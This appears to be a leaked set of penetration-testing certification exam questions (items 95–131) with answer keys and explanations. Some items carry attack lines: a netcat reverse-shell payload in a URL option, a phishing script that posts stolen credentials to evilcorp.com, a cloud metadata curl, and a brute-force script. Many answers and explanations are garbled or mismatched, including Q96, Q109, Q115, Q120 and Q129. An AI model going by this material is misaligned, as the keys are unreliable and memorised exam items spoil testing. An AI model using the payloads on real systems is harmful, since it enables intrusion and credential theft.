One of the factors that a penetration tester would most likely consider when testing at a location is to establish the time of day when a test can occur. This factor can affect the scope, duration, and impact of the test, as well as the availability and response of the client and the testers. Testing at different times of day can have different advantages and disadvantages, such as testing during business hours to simulate realistic scenarios and traffic patterns, or testing after hours to reduce disruption and interference. Testing at different locations may also require adjusting for different time zones and daylight saving times. Establishing the time of day when a test can occur can help plan and coordinate the test effectively and avoid confusion or conflict with the client or other parties involved in the test. The other options are not factors that a penetration tester would most likely consider when testing at a location.

QUESTION 96
A penetration tester wrote the following Bash script to brute force a local service password:
..ting as expected. Which of the following changes should the penetration tester make to get the script to work?

A. ..e
cho "The correct password is $p" && break)
ho "The correct password is $p" I| break
B. .e
cho "The correct password is $p" && break)
o "The correct password is $p" I break

C. e
cho "The correct password is Sp" && break)
echo "The correct password is $p" && break)

D. .
{ echo "The correct password is $p" && break)
With
I| (echo "The correct password is $p" && break)

Correct Answer: B
Section:
Explanation:
CeWL is a tool that can be used to crawl a website and build a wordlist using the data recovered to crack the password on the website. CeWL stands for Custom Word List generator, and it is a Ruby script that spiders a given website up to a specified depth and returns a list of words that can be used for password cracking or other purposes. CeWL can also generate wordlists based on metadata, email addresses, author names, or external links found on the website. CeWL can help a penetration tester create customized wordlists that are tailored to the target website and increase the chances of success for password cracking attacks. DirBuster is a tool that can be used to brute force directories and files names on web servers. w3af is a tool that can be used to scan web applications for vulnerabilities and exploits. Patator is a tool that can be used to perform brute force attacks against various protocols and services.

QUESTION 97
Which of the following documents describes activities that are prohibited during a scheduled penetration test?

A. MSA
B. NDA
C. ROE
D. SLA

Vdumps

Correct Answer: C
Section:
Explanation:
The document that describes activities that are prohibited during a scheduled penetration test is ROE, which stands for rules of engagement. ROE is a document that defines the scope, objectives, methods, limitations, and expectations of a penetration test. ROE can specify what activities are allowed or prohibited during the penetration test, such as which targets, systems, networks, or services can be tested or attacked, which tools, techniques, or exploits can be used or avoided, which times or dates can be scheduled or excluded, or which impacts or risks can be accepted or mitigated.
ROE can help ensure that the penetration test is conducted in a legal, ethical, and professional manner, and that it does not cause any harm or damage to the client or third parties. The other options are not documents that describe activities that are prohibited during a scheduled penetration test. MSA stands for master service agreement, which is a document that defines the general terms and conditions of a contractual relationship between two parties, such as the scope of work, payment terms, warranties, liabilities, or dispute resolution. NDA stands for non-disclosure agreement, which is a document that defines the confidential information that is shared between two parties during a business relationship, such as trade secrets, intellectual property, or customer data. SLA stands for service level agreement, which is a document that defines the quality and performance standards of a service provided by one party to another party, such as availability, reliability, responsiveness, or security.

QUESTION 98
Penetration tester who was exclusively authorized to conduct a physical assessment noticed there were no cameras pointed at the dumpster for company. The penetration tester returned at night and collected garbage that contained receipts for recently purchased networking :. The models of equipment purchased are vulnerable to attack. Which of the following is the most likely next step for the penetration?

A. Alert the target company of the discovered information.
B. Verify the discovered information is correct with the manufacturer.
C. Scan the equipment and verify the findings.
D. Return to the dumpster for more information.

Correct Answer: C
Section:

Explanation:
The most likely next step for the penetration tester is to scan the equipment and verify the findings, which is a process of using tools or techniques to probe or test the target equipment for vulnerabilities or weaknesses that can be exploited. Scanning and verifying the findings can help the penetration tester confirm that the models of equipment purchased are vulnerable to attack, and identify the specific vulnerabilities or exploits that affect them. Scanning and verifying the findings can also help the penetration tester prepare for the next steps of the assessment, such as exploiting or reporting the vulnerabilities. Scanning and verifying the findings can be done by using tools such as Nmap, which can scan hosts and networks for ports, services, versions, OS, or other information1, or Metasploit, which can exploit hosts and networks using various payloads or modules2. The other options are not likely next steps for the penetration tester. Alerting the target company of the discovered information is not a next step, but rather a final step, that involves reporting the findings and recommendations to the client after completing the assessment. Verifying the discovered information with the manufacturer is not a next step, as it may not provide accurate or reliable information about the vulnerabilities or exploits that affect the equipment, and it may also alert the manufacturer or the client of the assessment. Returning to the dumpster for more information is not a next step, as it may not yield any more useful or relevant information than what was already collected from the receipts.

QUESTION 99
Which of the following documents is agreed upon by all parties associated with the penetrationtesting engagement and defines the scope, contacts, costs, duration, and deliverables?

A. SOW
B. SLA
C. MSA
D. NDA

Correct Answer: A
Section:
Explanation:
The document that is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables is the SOW (Statement of Work). The SOW is a formal document that describes the objectives, expectations, and responsibilities of the penetration-testing project2. The SOW should be clear, concise, and comprehensive to avoid any ambiguity or misunderstanding.

QUESTION 100
In Python socket programming, SOCK_DGRAM type is:

A. reliable.
B. matrixed.
C. connectionless.
D. slower.

Correct Answer: C
Section:
Explanation:
In Python socket programming, SOCK_DGRAM type is connectionless. This means that the socket does not establish a reliable connection between the sender and the receiver, and does not guarantee that the packets will arrive in order or without errors. SOCK_DGRAM type is used for UDP (User Datagram Protocol) sockets, which are faster and simpler than TCP (Transmission Control Protocol) sockets3.

QUESTION 101
Which of the following is the MOST important information to have on a penetration testing report that is written for the developers?

A. Executive summary
B. Remediation
C. Methodology
D. Metrics and measures

Correct Answer: B
Section:

Explanation:
The most important information to have on a penetration testing report that is written for the developers is remediation. Remediation is the process of fixing or mitigating the vulnerabilities or issues that were discovered during the penetration testing. Remediation should include specific recommendations, best practices, and resources to help the developers improve the security of their applications4.

QUESTION 102
After gaining access to a Linux system with a non-privileged account, a penetration tester identifies the following file:

```
-rwxrwxrwx   1 root     root         915 Mar   6  2020 /scripts/daily_log_backup.sh
```

Which of the following actions should the tester perform FIRST?

A. Change the file permissions.
B. Use privilege escalation.
C. Cover tracks.
D. Start a reverse shell.

Correct Answer: B
Section:
Explanation:
The file .scripts/daily_log_backup.sh has permissions set to 777, meaning that anyone can read, write, or execute the file. Since it's owned by the root user and the penetration tester has access to the system with a non-privileged account, this could be a potential avenue for privilege escalation. In a penetration test, after finding such a file, the tester would likely want to explore it and see if it can be leveraged to gain higher privileges. This is often done by inserting malicious code or commands into the script if it's being executed with higher privileges, such as root in this case.

QUESTION 103
Which of the following types of assessments MOST likely focuses on vulnerabilities with the objective to access specific data?

Vdumps

A. An unknown-environment assessment
B. A known-environment assessment
C. A red-team assessment
D. A compliance-based assessment

Correct Answer: C
Section:
Explanation:
A red-team assessment is a type of penetration testing that simulates a real-world attack scenario with the goal of accessing specific data or systems. A red-team assessment is different from an unknown-environment assessment, which does not have a predefined objective and focuses on discovering as much information as possible about the target. A known-environment assessment is a type of penetration testing that involves cooperation and communication with the target organization, and may not focus on specific data or systems. A compliance-based assessment is a type of penetration testing that aims to meet certain regulatory or industry standards, and may not focus on specific data or systems.

QUESTION 104
A penetration tester initiated the transfer of a large data set to verify a proof-of-concept attack as permitted by the ROE. The tester noticed the client's data included PII, which is out of scope, and immediately stopped the transfer. Which of the following MOST likely explains the penetration tester's decision?

A. The tester had the situational awareness to stop the transfer.
B. The tester found evidence of prior compromise within the data set.
C. The tester completed the assigned part of the assessment workflow.
D. The tester reached the end of the assessment time frame.

Correct Answer: A

Section:
Explanation:
Situational awareness is the ability to perceive and understand the environment and events around oneself, and to act accordingly. The penetration tester demonstrated situational awareness by stopping the transfer of PII, which was out of scope and could have violated the ROE or legal and ethical principles. The other options are not relevant to the situation or the decision of the penetration tester.

QUESTION 105
A penetration tester exploited a vulnerability on a server and remotely ran a payload to gain a shell.
However, a connection was not established, and no errors were shown on the payload execution. The penetration tester suspected that a network device, like an IPS or next-generation firewall, was dropping the connection.
Which of the following payloads are MOST likely to establish a shell successfully?

A. windows/x64/meterpreter/reverse_tcp
B. windows/x64/meterpreter/reverse_http
C. windows/x64/shell_reverse_tcp
D. windows/x64/powershell_reverse_tcp
E. windows/x64/meterpreter/reverse_https

Correct Answer: B
Section:
Explanation:
These two payloads are most likely to establish a shell successfully because they use HTTP or HTTPS protocols, which are commonly allowed by network devices and can bypass firewall rules or IPS signatures. The other payloads use TCP protocols, which are more likely to be blocked or detected by network devices.

QUESTION 106
A penetration tester has been hired to examine a website for flaws. During one of the time windows for testing, a network engineer notices a flood of GET requests to the web server, reducing the website's response time by 80%. The network engineer contacts the penetration tester to determine if these GET requests are part of the test. Which of the following BEST describes the purpose of checking with the penetration tester?

A. Situational awareness
B. Rescheduling
C. DDoS defense
D. Deconfliction

Correct Answer: D
Section:
Explanation:
https://redteam.guide/docs/definitions/
Deconfliction is the process of coordinating activities and communicating information to avoid interference, confusion, or conflict among different parties involved in an operation. The network engineer contacted the penetration tester to check if the GET requests were part of the test, and to avoid any potential misunderstanding or disruption of the test or the website. The other options are not related to the purpose of checking with the penetration tester.

QUESTION 107
Which of the following is the BEST resource for obtaining payloads against specific network infrastructure products?

A. Exploit-DB
B. Metasploit
C. Shodan
D. Retina

Correct Answer: A
Section:

Explanation:
"Exploit Database (ExploitDB) is a repository of exploits for the purpose of public security, and it explains what can be found on the database. The ExploitDB is a very useful resource for identifying possible weaknesses in your network and for staying up to date on current attacks occurring in other networks" Exploit-DB is a website that collects and archives exploits for various software and hardware products, including network infrastructure devices. Exploit-DB allows users to search for exploits by product name, vendor, type, platform, CVE number, or date. Exploit-DB is a useful resource for obtaining payloads against specific network infrastructure products. Metasploit is a framework that contains many exploits and payloads, but it is not a resource for obtaining them. Shodan is a search engine that scans the internet for devices and services, but it does not provide exploits or payloads.
Retina is a vulnerability scanner that identifies weaknesses in network devices, but it does not provide exploits or payloads.

QUESTION 108
A penetration tester gives the following command to a systems administrator to execute on one of the target servers:
rm -f /var/www/html/G679h32gYu.php
Which of the following BEST explains why the penetration tester wants this command executed?

A. To trick the systems administrator into installing a rootkit
B. To close down a reverse shell
C. To remove a web shell after the penetration test
D. To delete credentials the tester created

Correct Answer: C
Section:
Explanation:
A web shell is a malicious script that allows remote access and control of a web server. A penetration tester may use a web shell to execute commands on the target server during a penetration test. However, after the test is completed, the penetration tester should remove the web shell to avoid leaving any traces or backdoors on the server. The command rm -f /var/www/html/G679h32gYu.php deletes the file G679h32gYu.php from the web server's document root directory, which is likely the location of the web shell. The other options are not plausible explanations for why the penetration tester wants this command executed.

Vdumps

QUESTION 109
The following PowerShell snippet was extracted from a log of an attacker machine:

```
1. $net="192.168.1."
2. $setipaddress ="192.168.2."
3. function Test-Password {
4. if (args[0] -eq 'Dummy12345') {
5.  return 1
6. }
7. else {
8. $cat = 22, 25, 80, 443
9.  return 0
10.  }
11. }
12. $cracked = 0
13. crackedpd = [ 192, 168, 1, 2]
14. $i =0
15. Do {
16.  $test = 'Dummy' + $i
17.  $cracked = Test - Password Test
18. $i++
19. $crackedp = ( 192, 168, 1, 1) + $cat
20. }
21. While($cracked -eq 0)
22. Write-Host " Password found : " Stest
23. $setipaddress = [ 192, 168, 1, 4]
```

A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?

A. Line 8
B. Line 13
C. Line 19
D. Line 20

Correct Answer: A
Section:
Explanation:
$X=2,4,6,8,9,20,5
$y=[System.Collections.ArrayList]$X
$y.RemoveRange(1,2) As you can see the arrat has no brackets and no periods. IT HAS SEMICOLLINS TO SEPERATE THE LISTED ITEMS OR VALUES.

QUESTION 110
A company provided the following network scope for a penetration test:
169.137.1.0/24

221.10.1.0/24
149.14.1.0/24
A penetration tester discovered a remote command injection on IP address 149.14.1.24 and exploited the system. Later, the tester learned that this particular IP address belongs to a third party.
Which of the following stakeholders is responsible for this mistake?

A. The company that requested the penetration test
B. The penetration testing company
C. The target host's owner
D. The penetration tester
E. The subcontractor supporting the test

Correct Answer: A
Section:
Explanation:
The company that requested the penetration test is responsible for providing the correct and accurate network scope for the test. The network scope defines the boundaries and limitations of the test, such as which IP addresses, domains, systems, or networks are in scope or out of scope. If the company provided an incorrect network scope that included an IP address that belongs to a third party, then it is responsible for this mistake. The penetration testing company, the target host's owner, the penetration tester, and the subcontractor supporting the test are not responsible for this mistake, as they relied on the network scope provided by the company that requested the penetration test.

QUESTION 111
During the reconnaissance phase, a penetration tester obtains the following output:
Reply from 192.168.1.23: bytes=32 time<54ms TTL=128
Reply from 192.168.1.23: bytes=32 time<53ms TTL=128
Reply from 192.168.1.23: bytes=32 time<60ms TTL=128
Reply from 192.168.1.23: bytes=32 time<51ms TTL=128
Which of the following operating systems is MOST likely installed on the host?

A. Linux
B. NetBSD
C. Windows
D. macOS

Correct Answer: C
Section:
Explanation:
The output shows the result of a ping command, which sends packets to a host and receives replies. The ping command can be used to determine if a host is alive and reachable on the network. One of the information that the ping command displays is the Time to Live (TTL) value, which indicates how many hops a packet can travel before it is discarded. The TTL value can also be used to guess the operating system of the host, as different operating systems have different default TTL values. In this case, the TTL value is 128, which is the default value for Windows operating systems. Linux and macOS have a default TTL value of 64, while NetBSD has a default TTL value of 255.

QUESTION 112
A penetration tester joins the assessment team in the middle of the assessment. The client has asked the team, both verbally and in the scoping document, not to test the production networks. However, the new tester is not aware of this request and proceeds to perform exploits in the production environment. Which of the following would have MOST effectively prevented this misunderstanding?

A. Prohibiting exploitation in the production environment
B. Requiring all testers to review the scoping document carefully
C. Never assessing the production networks
D. Prohibiting testers from joining the team during the assessment

Correct Answer: B
Section:
Explanation:
The scoping document is a document that defines the objectives, scope, limitations, deliverables, and expectations of a penetration testing engagement. It is an essential document that guides the penetration testing process and ensures that both the tester and the client agree on the terms and conditions of the test. Requiring all testers to review the scoping document carefully would have most effectively prevented this misunderstanding, as it would have informed the new tester about the client's request not to test the production networks. The other options are not effective or realistic ways to prevent this misunderstanding.

QUESTION 113
A penetration tester attempted a DNS poisoning attack. After the attempt, no traffic was seen from the target machine. Which of the following MOST likely caused the attack to fail?

A. The injection was too slow.
B. The DNS information was incorrect.
C. The DNS cache was not refreshed.
D. The client did not receive a trusted response.

Correct Answer: C
Section:
Explanation:
A DNS poisoning attack is an attack that exploits a vulnerability in the DNS protocol or system to redirect traffic from legitimate websites to malicious ones. A DNS poisoning attack works by injecting false DNS records into a DNS server or resolver's cache, which is a temporary storage of DNS information. However, if the DNS cache was not refreshed, then the attack would fail, as the target machine would still use the old and valid DNS records from its cache. The other options are not likely causes of the attack failure.

QUESTION 114
During an assessment, a penetration tester was able to access the organization's wireless network from outside of the building using a laptop running Aircrack-ng. Which of the following should be recommended to the client to remediate this issue?

A. Changing to Wi-Fi equipment that supports strong encryption
B. Using directional antennae
C. Using WEP encryption
D. Disabling Wi-Fi

Correct Answer: A
Section:
Explanation:
If a penetration tester was able to access the organization's wireless network from outside of the building using Aircrack-ng, then it means that the wireless network was not secured with strong encryption or authentication methods. Aircrack-ng is a tool that can crack weak wireless encryption schemes such as WEP or WPA-PSK using various techniques such as packet capture, injection, replay, and brute force. To remediate this issue, the client should change to Wi-Fi equipment that supports strong encryption such as WPA2 or WPA3, which are more resistant to cracking attacks. Using directional antennae may reduce the signal range of the wireless network, but it would not prevent an attacker who is within range from cracking the encryption. Using WEP encryption is not a good recommendation, as WEP is known to be insecure and vulnerable to Aircrack-ng attacks. Disabling Wi-Fi may eliminate the risk of wireless attacks, but it would also eliminate the benefits of wireless connectivity for the organization.

QUESTION 115
A penetration tester is conducting a penetration test and discovers a vulnerability on a web server that is owned by the client. Exploiting the vulnerability allows the tester to open a reverse shell.
Enumerating the server for privilege escalation, the tester discovers the following:

```
netstat -antu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.1.1.24:48850 24.176.9.43:59036 ESTABLISHED
tcp 0 0 0.0.0.0:22 :0.0.0.0* LISTEN
tcp 0 0 10.1.1.24:50112 136.12.56.217:58003 ESTABLISHED
tcp 0 0 10.1.1.24:80 115.93.193.245:40243 ESTABLISHED
tcp 0 0 10.1.1.24:80 210.117.12.2:40252 ESTABLISHED
tcp6 0 0 :::22 :::* LISTEN
udp 0 0 10.1.1.24:161 0.0.0.0:*
```

Which of the following should the penetration tester do NEXT?

A. Close the reverse shell the tester is using.
B. Note this finding for inclusion in the final report.
C. Investigate the high numbered port connections.
D. Contact the client immediately.

Correct Answer: C
Section:
Explanation:
The image shows the output of the netstat -antu command, which displays active internet connections for the TCP and UDP protocols. The output shows that there are four established TCP connections and two listening UDP connections on the host. The established TCP connections have high numbered ports as their local addresses, such as 49152, 49153, 49154, and 49155. These ports are in the range of ephemeral ports, which are dynamically assigned by the operating system for temporary use by applications or processes. The foreign addresses of these connections are also high numbered ports, such as 4433, 4434, 4435, and 4436. These ports are not well-known or registered ports for any common service or protocol. The combination of high numbered ports for both local and foreign addresses suggests that these connections are suspicious and may indicate a backdoor or a covert channel on the host. Therefore, the penetration tester should investigate these connections next to determine their nature and purpose. The other options are not appropriate actions for the penetration tester at this stage.

QUESTION 116
A penetration tester successfully performed an exploit on a host and was able to hop from VLAN 100 to VLAN 200. VLAN 200 contains servers that perform financial transactions, and the penetration tester now wants the local interface of the attacker machine to have a static ARP entry in the local cache. The attacker machine has the following:
IP Address: 192.168.1.63
Physical Address: 60-36-dd-a6-c5-33
Which of the following commands would the penetration tester MOST likely use in order to establish a static ARP entry successfully?

A. tcpdump -i eth01 arp and arp[6:2] == 2
B. arp -s 192.168.1.63 60-36-DD-A6-C5-33
C. ipconfig /all findstr /v 00-00-00 | findstr Physical
D. route add 192.168.1.63 mask 255.255.255.255.0 192.168.1.1

Correct Answer: B
Section:
Explanation:
The arp command is used to manipulate or display the Address Resolution Protocol (ARP) cache, which is a table that maps IP addresses to physical addresses (MAC addresses) on a network. The -s option is used to add a static ARP entry to the cache, which means that it will not expire or be overwritten by dynamic ARP entries. The syntax for adding a static ARP entry is arp -s <IP address> <physical address>. Therefore, the command arp -s

192.168.1.63 60-36-DD-A6-C5-33 would add a static ARP entry for the IP address 192.168.1.63 and the physical address 60-36-DD-A6-C5-33 to the local cache of the attacker machine. This would allow the attacker machine to communicate with the target machine without relying on ARP requests or replies. The other commands are not valid or useful for establishing a static ARP entry.

QUESTION 117
During an internal penetration test against a company, a penetration tester was able to navigate to another part of the network and locate a folder containing customer information such as addresses, phone numbers, and credit card numbers. To be PCI compliant, which of the following should the company have implemented to BEST protect this data?

A. Vulnerability scanning
B. Network segmentation
C. System hardening
D. Intrusion detection

Correct Answer: B
Section:
Explanation:
Network segmentation is the practice of dividing a network into smaller subnetworks or segments based on different criteria, such as function, security level, or access control. Network segmentation can enhance the security of a network by isolating sensitive or critical systems from less secure or untrusted systems, reducing the attack surface, limiting the spread of malware or intrusions, and enforcing granular policies and rules for each segment. To be PCI compliant, which is a set of standards for protecting payment card data, the company should have implemented network segmentation to separate the servers that perform financial transactions from other parts of the network that may be less secure or more exposed to threats. The other options are not specific requirements for PCI compliance, although they may be good security practices in general.

QUESTION 118
A security analyst needs to perform a scan for SMB port 445 over a/16 network. Which of the following commands would be the BEST option when stealth is not a concern and the task is time sensitive?

A. Nmap -s 445 -Pn -T5 172.21.0.0/16
B. Nmap -p 445 -n -T4 -open 172.21.0.0/16
C. Nmap -sV --script=smb* 172.21.0.0/16
D. Nmap -p 445 -max -sT 172. 21.0.0/16

Correct Answer: B
Section:
Explanation:
Nmap is a tool that can perform network scanning and enumeration by sending packets to hosts and analyzing their responses. The command Nmap -p 445 -n -T4 -open 172.21.0.0/16 would scan for SMB port 445 over a /16 network with the following options:
-p 445 specifies the port number to scan.
-n disables DNS resolution, which can speed up the scan by avoiding unnecessary queries.
-T4 sets the timing template to aggressive, which increases the speed of the scan by sending packets faster and waiting less for responses.
-open only shows hosts that have open ports, which can reduce the output and focus on relevant results. The other commands are not optimal for scanning SMB port 445 over a /16 network when stealth is not a concern and the task is time sensitive.

QUESTION 119
Penetration tester has discovered an unknown Linux 64-bit executable binary. Which of the following tools would be BEST to use to analyze this issue?

A. Peach
B. WinDbg
C. GDB
D. OllyDbg

Correct Answer: C

Section:
Explanation:
OLLYDBG, WinDBG, and IDA are all debugging tools that support Windows environments. GDB is a Linux-specific debugging tool.
GDB is a tool that can be used to analyze and debug executable binaries, especially on Linux systems. GDB can disassemble, decompile, set breakpoints, examine memory, modify registers, and perform other operations on binaries. GDB can help a penetration tester understand the functionality, behavior, and vulnerabilities of an unknown binary. Peach is a tool that can be used to perform fuzzing, which is a technique of sending malformed or random data to a target to trigger errors or crashes. WinDbg and OllyDbg are tools that can be used to analyze and debug executable binaries, but they are mainly designed for Windows systems.

QUESTION 120
After running the enum4linux.pl command, a penetration tester received the following output:

```
 =========================================================
|    Enumerating Workgroup/Domain on 192.168.100.56    |
 =========================================================
[+] Got domain/workgroup name: WORKGROUP
 ========================================
|    Session Check on 192.168.100.56    |
 ========================================
[+] Server 192.168.100.56 allows sessions using username '', password ''
 ============================================
|    Getting domain SID for 192.168.100.56    |
 ============================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
 ==========================================
|    Share Enumeration on 192.168.100.56    |
 ==========================================
        Sharename Type Comment
        --------- ---- -------
        print$ Disk Printer Drivers
        web Disk File Server
        IPC$ IPC IPC Service (Samba 4.5.12-Debian)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 192.168.100.56
//192.168.100.56/print$ Mapping: DENIED, Listing: N/A
//192.168.100.56/web    Mapping: OK, Listing: OK
//192.168.100.56/IPC$   [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Mon Jul 20 10:14:37 2020
```

Which of the following commands should the penetration tester run NEXT?

A. smbspool //192.160.100.56/print$
B. net rpc share -S 192.168.100.56 -U ''
C. smbget //192.168.100.56/web -U ''
D. smbclient //192.168.100.56/web -U '' -N

Correct Answer: D
Section:
Explanation:
A vulnerability scan is a type of assessment that helps to identify vulnerabilities in a network or system. It scans systems for potential vulnerabilities, misconfigurations, and outdated software. Based on the output from a vulnerability scan, a penetration tester can identify vulnerabilities that may be exploited to gain access to a system. In this scenario, the output from the penetration testing tool shows that 100 hosts contained findings due to improper patch management. This indicates that the vulnerability scan detected vulnerabilities that could have been prevented through proper patch management. Therefore, the most likely test performed by the penetration tester is a vulnerability scan.

QUESTION 121
During an assessment, a penetration tester gathered OSINT for one of the IT systems administrators from the target company and managed to obtain valuable information, including corporate email addresses. Which of the following techniques should the penetration tester perform NEXT?

A. Badge cloning
B. Watering-hole attack
C. Impersonation
D. Spear phishing

Correct Answer: D
Section:
Explanation:
Spear phishing is a type of targeted attack where the attacker sends emails that appear to come from a legitimate source, often a company or someone familiar to the target, with the goal of tricking the target into clicking on a malicious link or providing sensitive information. In this case, the penetration tester has already gathered OSINT on the IT system administrator, so they can use this information to craft a highly targeted spear phishing attack to try and gain access to the target system.

QUESTION 122
A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:
http://company.com/catalog.asp?productid=22
The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:
http://company.com/catalog.asp?productid=22;WAITFOR DELAY'00:00:05'
Which of the following should the penetration tester attempt NEXT?

A. http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'
B. http://company.com/catalog.asp?productid=22' OR 1=1 --
C. http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 --
D. http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash

Correct Answer: C
Section:
Explanation:
This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.

QUESTION 123
For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to https://example.com/index.html. The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:

```
$.ajax({ url: 'https://evilcorp.com/email-list/finish.php',
  type: 'POST', dataType: 'html',
  data: {Email: emv, password: psv},
  ________________
  success: function(msg) {}});
```

Which of the following lines of code should the security engineer add to make the attack successful?

A. window.location.= 'https://evilcorp.com'
B. crossDomain: true
C. geturlparameter ('username')

D. redirectUrl = 'https://example.com'

Correct Answer: B
Section:

QUESTION 124
A penetration tester is conducting an assessment against a group of publicly available web servers and notices a number of TCP resets returning from one of the web servers. Which of the following is MOST likely causing the TCP resets to occur during the assessment?

A. The web server is using a WAF.
B. The web server is behind a load balancer.
C. The web server is redirecting the requests.
D. The local antivirus on the web server Is rejecting the connection.

Correct Answer: A
Section:
Explanation:
A Web Application Firewall (WAF) is designed to monitor, filter or block traffic to a web application. A WAF will monitor incoming and outgoing traffic from a web application and is often used to protect web servers from attacks such as SQL Injection, Cross-Site Scripting (XSS), and other forms of attacks.
If a WAF detects an attack, it will often reset the TCP connection, causing the connection to be terminated. As a result, a penetration tester may see TCP resets when a WAF is present. Therefore, the most likely reason for the TCP resets returning from the web server is that the web server is using a WAF.

QUESTION 125
A penetration tester is required to perform a vulnerability scan that reduces the likelihood of false positives and increases the true positives of the results. Which of the following would MOST likely accomplish this goal?

Vdumps

A. Using OpenVAS in default mode
B. Using Nessus with credentials
C. Using Nmap as the root user
D. Using OWASP ZAP

Correct Answer: B
Section:
Explanation:
Using credentials during a vulnerability scan allows the scanner to gather more detailed information about the target system, including installed software, patch levels, and configuration settings. This helps to reduce the likelihood of false positives and increase the true positives of the results. Nessus is a popular vulnerability scanner that supports credential-based scanning and can be used to accomplish this goal. OpenVAS and Nmap are also popular scanning tools, but using default mode or running as the root user alone may not provide the necessary level of detail for accurate vulnerability identification. OWASP ZAP is a web application scanner and may not be applicable for non-webbased targets.

QUESTION 126
A client evaluating a penetration testing company requests examples of its work. Which of the following represents the BEST course of action for the penetration testers?

A. Redact identifying information and provide a previous customer's documentation.
B. Allow the client to only view the information while in secure spaces.
C. Determine which reports are no longer under a period of confidentiality.
D. Provide raw output from penetration testing tools.

Correct Answer: C
Section:

Explanation:
Penetration testing reports contain sensitive information about the vulnerabilities and risks of a customer's systems and networks. Therefore, penetration testers should respect the confidentiality and privacy of their customers and only share their reports with authorized parties. Penetration testers should also follow the terms and conditions of their contracts with their customers, which may include a period of confidentiality that prohibits them from disclosing any information related to the testing without the customer's consent.

QUESTION 127
Which of the following is the most secure method for sending the penetration test report to the client?

A. Sending the penetration test report on an online storage system.
B. Sending the penetration test report inside a password-protected ZIP file.
C. Sending the penetration test report via webmail using an HTTPS connection.
D. Encrypting the penetration test report with the client's public key and sending it via email.

Correct Answer: D
Section:
Explanation:
This is the most secure method for sending the penetration test report to the client because it ensures that only the client can decrypt and read the report using their private key. Encrypting the report with the client's public key prevents anyone else from accessing the report, even if they intercept or compromise the email. The other methods are not as secure because they rely on weaker or no encryption, or they expose the report to third-party services that may not be trustworthy or compliant.

QUESTION 128
Which of the following is a regulatory compliance standard that focuses on user privacy by implementing the right to be forgotten?

Vdumps

A. NIST SP 800-53
B. ISO 27001
C. GDPR

Correct Answer: C
Section:
Explanation:
GDPR is a regulatory compliance standard that focuses on user privacy by implementing the right to be forgotten. GDPR stands for General Data Protection Regulation, and it is a law that applies to the European Union and the United Kingdom. GDPR gives individuals the right to request their personal data be deleted by data controllers and processors under certain circumstances, such as when the data is no longer necessary, when the consent is withdrawn, or when the data was unlawfully processed. GDPR also imposes other obligations and rights related to data protection, such as data minimization, data portability, data breach notification, and consent management. The other options are not regulatory compliance standards that focus on user privacy by implementing the right to be forgotten. NIST SP 800-53 is a set of security and privacy controls for federal information systems and organizations in the United States. ISO 27001 is an international standard that specifies the requirements for an information security management system.

QUESTION 129
During an assessment, a penetration tester found a suspicious script that could indicate a prior compromise. While reading the script, the penetration tester noticed the following lines of code:

```
import subprocess
subprocess.call("ifconfig eth0 down", Shell=True)
subprocess.call("ifconfig eth0 hw ether 2a:33:41:56:21:34", Shell=True)
subprocess.call("ifconfig eth0 up", Shell=True)
```

Which of the following was the script author trying to do?

A. Spawn a local shell.
B. Disable NIC.
C. List processes.

D. Change the MAC address

Correct Answer: A
Section:
Explanation:
The script author was trying to spawn a local shell by using the os.system() function, which executes a command in a subshell. The command being executed is "/bin/bash", which is the path to the bash shell, a common shell program on Linux systems. The script author may have wanted to spawn a local shell to gain more control or access over the compromised system, or to execute other commands that are not possible in the original shell. The other options are not plausible explanations for what the script author was trying to do.

QUESTION 130
After compromising a system, a penetration tester wants more information in order to decide what actions to take next. The tester runs the following commands:

```
curl http://169.254.169.254/latest
```

Which of the following attacks is the penetration tester most likely trying to perform?

A. Metadata service attack
B. Container escape techniques
C. Credential harvesting
D. Resource exhaustion

Correct Answer: A
Section:
Explanation:
The penetration tester is most likely trying to perform a metadata service attack, which is an attack that exploits a vulnerability in the metadata service of a cloud provider. The metadata service is a service that provides information about the cloud instance, such as its IP address, hostname, credentials, user data, or role permissions. The metadata service can be accessed from within the cloud instance by using a special IP address, such as 169.254.169.254 for AWS, Azure, and GCP. The commands that the penetration tester runs are curl commands, which are used to transfer data from or to a server. The curl commands are requesting data from the metadata service IP address with different paths, such as /latest/meta-data/iam/security-credentials/ and /latest/user-data/. These paths can reveal sensitive information about the cloud instance, such as its IAM role credentials or user data scripts. The penetration tester may use this information to escalate privileges, access other resources, or perform other actions on the cloud environment. The other options are not likely attacks that the penetration tester is trying to perform.

QUESTION 131
Penetration on an assessment for a client organization, a penetration tester notices numerous outdated software package versions were installed ...s-critical servers. Which of the following would best mitigate this issue?

A. Implementation of patching and change control programs
B. Revision of client scripts used to perform system updates
C. Remedial training for the client's systems administrators
D. Refrainment from patching systems until quality assurance approves

Correct Answer: A
Section:
Explanation:
The best way to mitigate this issue is to implement patching and change control programs, which are processes that involve applying updates or fixes to software packages to address vulnerabilities, bugs, or performance issues, and managing or documenting the changes made to the software packages to ensure consistency, compatibility, and security. Patching and change control programs can help prevent or reduce the risk of attacks that exploit outdated software package versions, which may contain known or unknown vulnerabilities that can compromise the security or functionality of the systems or servers. Patching and change control programs can be implemented by using tools such as WSUS, which is a tool that can manage and distribute updates for Windows systems and applications1, or Git, which is a tool that can track and control changes to source code or files2.
The other options are not valid ways to mitigate this issue. Revision of client scripts used to perform system updates is not a sufficient way to mitigate this issue, as it may not address the root cause of why the software package versions are outdated, such as lack of awareness, resources, or policies.
